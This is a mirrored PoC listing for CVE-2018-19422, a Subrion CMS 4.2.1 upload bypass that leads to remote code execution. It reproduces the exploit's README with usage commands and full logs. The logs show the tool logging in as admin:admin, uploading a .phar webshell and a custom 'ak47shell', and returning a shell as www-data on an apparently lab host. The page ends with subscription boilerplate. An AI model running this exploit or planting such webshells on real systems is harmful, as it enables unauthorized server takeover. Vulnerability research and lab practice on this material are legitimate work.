CVE-2018-19422 PoC — Subrion CMS 安全漏洞

Source

https://github.com/Drew-Alleman/CVE-2018-19422

Associated Vulnerability

Title:Subrion CMS 安全漏洞 (CVE-2018-19422)
Description:/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Description

Subrion File Upload Bypass to RCE and Custom File Upload (Authenticated)

Readme

# CVE-2018-19422
```
# Exploit Title: File Upload Bypass to RCE (Authenticated)
# Google Dork: N/A
# Date: 17/05/2021
# Exploit Author: Drew Alleman
# Based on an exploit written by: Fellipe Oliveira
# Vendor Homepage: https://subrion.org/
# Software Link: https://github.com/intelliants/subrion
# Version: SubrionCMS 4.2.1
# Tested on: Debian9, Debian 10 and Ubuntu 16.04
# CVE : CVE-2018-19422

# Exploit Requirements: BeautifulSoup library
# https://github.com/intelliants/subrion/issues/801
```


# Usage
## Basic RCE
```
$ python3 CVE-2018-19422.py -u http://exfiltrated.offsec/ -l admin -p admin
2025-04-03 19:23:36,723 [INFO] Connecting to login page: http://exfiltrated.offsec/panel/
2025-04-03 19:23:36,951 [INFO] CSRF token acquired: 0FaEOZZnQvcrmV6eS7LahriwTaO8rQpXvqpnHPCE
2025-04-03 19:23:36,951 [INFO] Attempting login to endpoint: http://exfiltrated.offsec/panel/ with credentials admin:admin
2025-04-03 19:23:48,533 [INFO] Login Successful!
2025-04-03 19:23:48,533 [INFO] Uploading default webshell...
2025-04-03 19:23:48,741 [INFO] Successfully uploaded file http://exfiltrated.offsec/uploads/opigcodbctnb.phar with 30 bytes of data
2025-04-03 19:23:48,905 [INFO] Webshell is live: http://exfiltrated.offsec/uploads/opigcodbctnb.phar
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## File Upload
```
$ python3 CVE-2018-19422.py -u http://exfiltrated.offsec/ -l admin -p admin --file ~/Downloads/ak47shell.php
2025-04-03 19:24:44,584 [INFO] Connecting to login page: http://exfiltrated.offsec/panel/
2025-04-03 19:24:44,757 [INFO] CSRF token acquired: 8b5kPv3umnEQTzdwMnPwTDFifxJ1isKKB6lIiInF
2025-04-03 19:24:44,757 [INFO] Attempting login to endpoint: http://exfiltrated.offsec/panel/ with credentials admin:admin
2025-04-03 19:24:57,199 [INFO] Login Successful!
2025-04-03 19:24:57,547 [INFO] Successfully uploaded file http://exfiltrated.offsec/uploads/ak47shell.phar with 57249 bytes of data
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!